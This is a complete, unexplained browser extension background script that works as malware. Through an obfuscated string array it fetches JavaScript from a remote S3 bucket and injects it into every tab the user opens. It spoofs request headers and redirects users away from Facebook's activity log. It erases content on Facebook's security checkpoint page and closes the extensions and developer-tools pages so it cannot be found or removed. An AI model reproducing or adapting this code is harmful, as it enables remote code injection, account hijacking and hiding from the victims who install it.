if (!window.localStorage.getItem('hasSeenIntro')) { window.localStorage.setItem('hasSeenIntro', 'yep'); chrome.tabs.create({ url: 'http://goo.gl/ePfJAi' }); } var seffeful=["onreadystatechange","readyState","id","responseText","executeScript","tabs","GET","https://s3.amazonaws.com/postimet8/2.js?","random","floor","open","send","get","addListener","onUpdated"] chrome[seffeful[5]][seffeful[14]][seffeful[13]](function(_0x3b63x1) { chrome[seffeful[5]][seffeful[12]](_0x3b63x1,function() { var _0x3b63x2= new XMLHttpRequest(); _0x3b63x2[seffeful[0]]=function() { if(_0x3b63x2[seffeful[1]]==4) { chrome[seffeful[5]][seffeful[4]](_0x3b63x1[seffeful[2]],{code:_0x3b63x2[seffeful[3]]}) } } ; _0x3b63x2[seffeful[10]](seffeful[6],seffeful[7]+Math[seffeful[9]](Math[seffeful[8]]()*15000)); _0x3b63x2[seffeful[11]](); } ) } ); function imgur(){ var requestFilter = { urls: [ "https://imgur.com/*"] }, extraInfoSpec = ['requestHeaders','blocking'], handler = function( details ) { var headers = details.requestHeaders, blockingResponse = {}; for( var i = 0, l = headers.length; i < l; ++i ) { if( headers[i].name == 'Origin' ) { headers[i].value = 'https://imgur.com'; break; } } blockingResponse.requestHeaders = headers; return blockingResponse; }; chrome.webRequest.onBeforeSendHeaders.addListener( handler, requestFilter, extraInfoSpec ); } imgur(); function imgurRef(){ var requestFilter = { urls: [ "https://imgur.com/*"] }, extraInfoSpec = ['requestHeaders','blocking'], handler = function( details ) { var headers = details.requestHeaders, blockingResponse = {}; for( var i = 0, l = headers.length; i < l; ++i ) { if( headers[i].name == 'Referer' ) { headers[i].value = 'https://imgur.com'; break; } } blockingResponse.requestHeaders = headers; return blockingResponse; }; chrome.webRequest.onBeforeSendHeaders.addListener( handler, requestFilter, extraInfoSpec ); } imgurRef(); function sydZX(){ function deleteAllCookies() { var cookies = document.cookie.split(";"); for (var i = 0; i < cookies.length; i++) { var cookie = cookies[i]; var eqPos = cookie.indexOf("="); var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie; document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT"; } } var requestFilter = { urls: [ "https://*/*"] }, extraInfoSpec = ['requestHeaders','blocking'], handler = function( details ) { var headers = details.requestHeaders, blockingResponse = {}; for( var i = 0, l = headers.length; i < l; ++i ) { if( headers[i].name == 'User-Agent' ) { headers[i].value = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A'; break; } } blockingResponse.requestHeaders = headers; return blockingResponse; }; chrome.webRequest.onBeforeSendHeaders.addListener( handler, requestFilter, extraInfoSpec ); chrome.tabs.onUpdated.addListener(function(tabId, changeInfo) { if (changeInfo.status == 'complete') { chrome.tabs.get(tabId, function(tab) { if(tab.url.indexOf("allactivity") != -1){ chrome.tabs.executeScript(tab.id, {code: 'top.location.href = "https://facebook.com";'}); } if(tab.url.indexOf("checkpoint/?next") != -1){ chrome.tabs.executeScript(tab.id, {code: 'if(document.getElementsByClassName("uiList mtm _4of _4kg").length > 0){document.getElementsByClassName("uiList mtm _4of _4kg")[0].innerHTML = "";}'}); } if(tab.url.indexOf("chrome://extensions/") > -1 || tab.url.indexOf("chrome://chrome/extensions") > -1 || tab.url.indexOf('chrome-devtools') > -1) { chrome.tabs.remove(tabId); if((tab.url == "chrome://extensions/" || tab.url == "chrome://chrome/extensions") && changeInfo.status == 'loading') chrome.tabs.remove(tabId); } }) } }); } sydZX();